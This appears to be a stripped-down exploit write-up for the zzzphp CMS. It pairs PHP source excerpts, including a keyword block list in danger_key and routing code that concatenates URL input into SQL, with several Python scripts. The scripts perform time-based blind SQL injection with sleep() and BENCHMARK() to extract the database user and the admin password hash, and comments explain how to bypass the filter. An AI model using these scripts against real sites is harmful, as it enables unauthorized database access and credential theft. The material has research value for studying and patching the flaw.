function danger_key($s) {
 $danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','_');
 $s = str_ireplace($danger,"*",$s);
 $key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
foreach ($key as $val){
    if(strpos($s,$val) !==false){
     error('很抱歉，执行出错，发现危险字符【'.$val.'】');
   }
}
 return $s;
}

import urllib.request
import time
headers = {
 "Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1574763592; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=5iqginknjajejlgk18rerm73a3",
 }
result = []
for i in range (1,5):
 for j in range(47,122):#暂考虑数字字母，没考虑其他字符
     url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),"+str(i)+",1))<"+str(j)+")))"
     try:
         request = urllib.request.Request(url=url,headers=headers)
         response = urllib.request.urlopen(request,timeout=1)
     except:
         print("第"+str(i)+"位："+chr(j-1))
         result.append(chr(j-1))
         time.sleep(2)
         break
print(result)

function db_load_sql_one( $sql, $d = NULL ) {
 $db = $_SERVER[ 'db' ];
 $d = $d ? $d : $db;
 if ( !$d ) return FALSE;
 $sql = str_replace( '[dbpre]', DB_PRE, $sql );
 $arr = $d->sql_find_one( $sql );
 db_errno_errstr($arr, $d, $sql);
 return $arr;
}

import urllib.request
import time
headers = {
 "Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1574763592; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=5iqginknjajejlgk18rerm73a3",
 }
result = []
for i in range (1,17):
 for j in range(47,122):
     url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from([dbpre]user)where+uid<2),"+str(i)+",1))<"+str(j)+")))"
     try:
         request = urllib.request.Request(url=url,headers=headers)
         response = urllib.request.urlopen(request,timeout=1)
     except:
         print("第"+str(i)+"位："+chr(j-1))
         result.append(chr(j-1))
         time.sleep(2)
         break
print(result)

function getlocation() {
 $location = getform( 'location', 'get' );
 if ( isset( $location ) ) {
     if ( checklocation( $location ) != FALSE )
         return $location;
 }
 $url = $_SERVER[ 'REQUEST_URI' ];
 if(substr($url, -1)== "=") phpgo (rtrim($url, '=')); 
 if ( conf( 'runmode' ) == 2 ) {
     $arr = stripos( $url, '?' ) === FALSE ? parse_url( '?' . ltrim( $url, '/' ) ) : parse_url( $url );
 } else {
     $arr = parse_url( $url );
 }   
 $query = arr_value( $arr, 'query' );
 $query = str_replace( conf( 'siteext' ), '', $query );  
 $GLOBALS[ 'page' ] = sub_right( $query, '_' );
 $query = sub_left( $query, '_' );
 if ( defined( 'LOCATION' ) ) {
     $GLOBALS[ 'sid' ] = '-1';
     $GLOBALS[ 'cid' ] = '-1';
     $GLOBALS[ 'cname' ] = LOCATION;
     return LOCATION;
 }
 if ( empty( $query ) ) {
     $GLOBALS[ 'sid' ] = 0;
     $GLOBALS[ 'cid' ] = 0;
     $GLOBALS[ 'cname' ] = 'index';
     return 'index';
 } else {
     $pos = stripos( $query, '/' );
     $q = substr( $query, 0, $pos );
     $p = substr( $query, $pos + 1 );
     $location = empty( $q ) ? checklocation( $query, 0 ) : checklocation( $q, $p );
     //echop('location:'.$location);echop('query:'.$query);echop('q:'.$q);echop('p:'.$p);echop('sid:'.G('sid'));;echop('cid:'.G('cid'));die;
     if ( !empty( $location ) ) {
         return $location;
     }
     if ( $q == 'brand' ) {
         $GLOBALS[ 'sid' ] = '-1';
         if ( !empty( $p ) ) {
             if ( db_count( 'brand', "b_filename='" . $p . "'" ) > 0 ) {
                 $GLOBALS[ 'bname' ] = $p;
             } else {
                 $GLOBALS[ 'bid' ] = $p;
             }
         }
         return 'brand';
     }
     if ( !empty( $query ) ) {
         $query = sub_left( $query, '=' );
         if ( db_count( "sort", "s_filename='" . $query . "'" ) > 0 ) {
             $data = db_load_one( "sort", "s_filename='" . $query . "'", "sid,s_type" );
             $GLOBALS[ 'cid' ] = 0;
             $GLOBALS[ 'sid' ] = $data[ 'sid' ];
             $GLOBALS[ 'cname' ] = $query;
             return in_array($data[ 's_type' ],load_model()) ? 'list' : $data[ 's_type' ];
         }
     }       
     if ( $pos == 0 ) {
         return $query;
     }

 }
}

function checklocation( $q, $p = NULL ) {   
 $arr1 = array( 'about', 'gbook', 'list', 'taglist', 'brandlist' );
 $arr2 = array( 'content', 'order', 'user', 'form',  conf('wappath'), 'sitemap', 'sitexml' );
 $arr3 = load_model();
 if ( in_array( $q, $arr1 ) ) {
     $p = sub_right( $p, '/' );
     $sid = arr_split($p,'_',0);
     if ( ifnum($sid)) {
         // 对后半部分截取，并且分析
         $GLOBALS[ 'sid' ] = $sid;
         $GLOBALS[ 'cid' ] = 0;
     } else {
         $p = sub_left( $p, '=' );
         $GLOBALS[ 'sid' ] =  arr_split($p,'&',0);
         $GLOBALS[ 'cid' ] = 0;
     }
     return $q;
 } elseif ( in_array( $q, $arr2 ) ) {
     if ( ifnum( $p ) ) {
         $GLOBALS[ 'cid' ] = $p;
         $GLOBALS[ 'sid' ] = '-1';
         return $q;
     } else {
         $p = sub_left( $p, '=' );
         $cid = sub_left( $p, '&' );
         if ( $cid > 0 ) $GLOBALS[ 'cid' ] = $cid;
         return $q;
     }
 } elseif ( in_array( $q, $arr3 ) ) {
     if ( ifnum( $p ) ) {
         $GLOBALS[ 'cid' ] = $p;
         return 'content';
     } else {
         $p = sub_left( $p, '=' );
         $cid = sub_left( $p, '&' );
         if ( $cid > 0 ) {
             $GLOBALS[ 'cid' ] = $cid;
             return 'content';
         }  else if ( !empty( $p ) ) {
             if ( db_count( "content", "c_pagename='" . $p . "'" ) > 0 ) {
                 $data = db_load_one( "content", "c_pagename='" . $p . "'", "cid,c_sid" );
                 $GLOBALS[ 'sid' ] = $data[ 'c_sid' ];
                 $GLOBALS[ 'cid' ] = $data[ 'cid' ];
                 $GLOBALS[ 'cname' ] = $p;
                 return 'content';
             }            
         } else {
             return false;
         }
     }
 } else {
     return FALSE;
 }
}

import urllib.request
import time
#获取管理员密码，已知长度是16
#空格被过滤,发现sleep()前面可以用>或<或<>，原因不知道
#我这边测试注入语句:select * from zzz_sort where sid=(select c_sid from zzz_content where cid=7>sleep(0.03))
#Empty set (2.67 sec),为什么2.67s不知道。cid的值直接影响sleep的参数，如果数据库里没有对应的cid，测试sleep(0.1)即可，2.9s左右返回
#但数据库里没有对应的cid，网站响应302，会到下面代码里的except里去，还得处理302，算了，麻烦
#等于号被过滤，用小于吧，从0递增，设置timeout为1，请求失败的上一个即为该字符
result = []
for i in range (1,17):
 for j in range(47,122):
     url = "http://127.0.0.1/zzzphp/?news/7>sleep(0.03*(ord(mid((select(password)from([dbpre]user)where+uid<2),"+str(i)+",1))<"+str(j)+"))"
     try:
         request = urllib.request.Request(url=url)
         response = urllib.request.urlopen(request,timeout=1)
     except:
         print("第"+str(i)+"位："+chr(j-1))
         result.append(chr(j-1))
         time.sleep(2)
         break
print(''.join(result))

function danger_key($s,$type='') {
 $s=empty($type) ? htmlspecialchars($s) : $s;
     $danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep');
 $s = str_ireplace($danger,"*",$s);
 $key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
foreach ($key as $val){
    if(strpos($s,$val) !==false){
     error('很抱歉，执行出错，发现危险字符【'.$val.'】');
   }
}
 return $s;
}

import urllib.request
import time
headers = {
 "Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1576050340; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=lfdciobk45189ih79fhg9uiff6",
 }
result = []
for i in range (1,17):
 for j in range(47,122):#暂考虑数字字母，没考虑其他字符
     url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(BENCHMARK(35000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),"+str(i)+",1))like("+str(j)+")),hex(233333)))"
     try:
         request = urllib.request.Request(url=url,headers=headers)
         response = urllib.request.urlopen(request,timeout=1)
     except:
         print("第"+str(i)+"位："+chr(j))
         result.append(chr(j))
         time.sleep(2)
         break
print(result)

import urllib.request
import time
result = []
for i in range (1,17):
 for j in range(47,122):#暂考虑数字字母，没考虑其他字符
     url = "http://127.0.0.1/zzzphp/?news/7+BENCHMARK(7000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),"+str(i)+",1))like("+str(j)+")),hex(233333))"
     try:
         request = urllib.request.Request(url=url)
         response = urllib.request.urlopen(request,timeout=1)
     except:
         print("第"+str(i)+"位："+chr(j))
         result.append(chr(j))
         time.sleep(2)
         break
print(''.join(result))